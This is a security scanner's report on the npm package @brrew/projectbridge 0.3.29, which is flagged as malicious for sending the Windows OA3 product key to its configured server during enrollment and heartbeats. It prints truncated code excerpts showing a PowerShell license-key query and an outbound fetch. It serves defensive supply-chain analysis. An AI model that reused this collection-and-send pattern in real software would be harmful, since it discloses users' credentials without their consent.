registry / Credential exfiltration / @brrew/projectbridge
@brrew/projectbridge
ProjectBridge remote host agent CLI
This report shows the evidence for @brrew/projectbridge@0.3.29. 1 of 19 known versions is blocked or flagged. See all versions.
AI Security Review
scanned 5d ago · by lpm-firewall-aiThe agent automatically collects the Windows OA3 product key and sends it to its configured server during enrollment and recurring heartbeats. This is an unrelated credential disclosure, so the package is malicious.
Static reason
One or more suspicious static signals were detected.; previous stored version diff introduced dangerous source
Trigger
A user runs the remote agent command; collection occurs during enrollment and again during recurring heartbeats.
Impact
A Windows activation key is disclosed to the configured server without a specific user prompt or evident need for the agent's enrollment and host-monitoring purpose.
Mechanism
hostInfo queries SoftwareLicensingService for OA3xOriginalProductKey and sends the resulting metadata to /api/enroll/start and /api/commander/heartbeat.
Attack narrative
When the remote agent is run on Windows, it queries SoftwareLicensingService for the OA3 product key, puts the key in hostInfo, and sends that metadata during enrollment before dashboard approval. Once running, it sends hostInfo again in authenticated heartbeats every 30 seconds. The server is user-configured, but the package provides no apparent purpose or consent disclosure for collecting and transmitting this Windows license key.
AI rationale
The agent automatically collects the Windows OA3 product key and sends it to its configured server during enrollment and recurring heartbeats. This is an unrelated credential disclosure, so the package is malicious.
Evidence
bin/projectbridge.jsWindows SoftwareLicensingService data via Get-CimInstanceProjectBridge enrollment configuration file
Network endpoints2
<user-configured ProjectBridge server>/api/enroll/start<user-configured ProjectBridge server>/api/commander/heartbeat
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- On Windows, hostInfo queries SoftwareLicensingService and includes its OA3xOriginalProductKey in reported metadata.
- Enrollment sends hostInfo to the configured server before dashboard approval; the pairing flow later asks the user to confirm the host.
- The running agent resends hostInfo in authenticated heartbeat requests every 30 seconds, repeatedly transmitting the Windows product key.
Evidence against
- The manifest has no install lifecycle hooks; the CLI main runs only when invoked directly.
- The server must be explicitly configured or supplied by the user; there is no default server.
- Remote host control is disabled by default and asks for consent in an interactive terminal.
Behavioral surface
ChildProcessCryptoEnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
7 flaggedbin/projectbridge.jsView file
•matchType = previous_version_dangerous_delta
matchedPackage = @brrew/projectbridge@0.3.25
matchedIdentity = npm:QGJycmV3L3Byb2plY3RicmlkZ2U:0.3.25
similarity = 0.500
summary = stored previous version shares package body but lacks this dangerous source file
Critical
Previous Version Dangerous Delta
This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.
bin/projectbridge.jsView on unpkg6const path = require('node:path');
L7: const { spawn } = require('node:child_process');
L8: const { setTimeout: sleep } = require('node:timers/promises');
High
Child Process
Package source references child process execution.
bin/projectbridge.jsView on unpkg · L6138const script="$ErrorActionPreference='Stop';$b=Get-CimInstance Win32_BIOS;$c=Get-CimInstance Win32_ComputerSystem;$o=Get-CimInstance Win32_OperatingSystem;$lic=Get-CimInstance Soft...
L139: const r=spawnSync('powershell.exe',['-NoProfile','-NonInteractive','-Command',script],{encoding:'utf8',timeout:3500,windowsHide:true});if(!r.error&&r.status===0){const x=JSON.parse...
L140: }
...
L151: if (credential) headers.Authorization = 'Bearer ' + credential;
L152: const response = await fetch(new URL(route, base), { method: body === undefined ? 'GET' : 'POST', headers,
L153: body: body === undefined ? undefined : JSON.stringify(body), signal: controller.signal, redirect: 'error' });
L154: const text = await response.text();
Findings
1 Critical5 High4 Medium5 Low
CriticalPrevious Version Dangerous Deltabin/projectbridge.js
HighChild Processbin/projectbridge.js
HighCommand Output Exfiltrationbin/projectbridge.js
HighSandbox Evasion Gated Capabilitybin/projectbridge.js
HighTrigger Reachable Command Output Exfiltrationbin/projectbridge.js
HighTrigger Reachable Persistencelib/lifecycle.js
MediumNetwork
MediumEnvironment Vars
MediumInstall Persistencelib/lifecycle.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Low
Affected versions and remediation
This report applies to @brrew/projectbridge@0.3.29.
The versions list below shows the verdict for each recorded version.
- Avoid installing @brrew/projectbridge@0.3.29. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.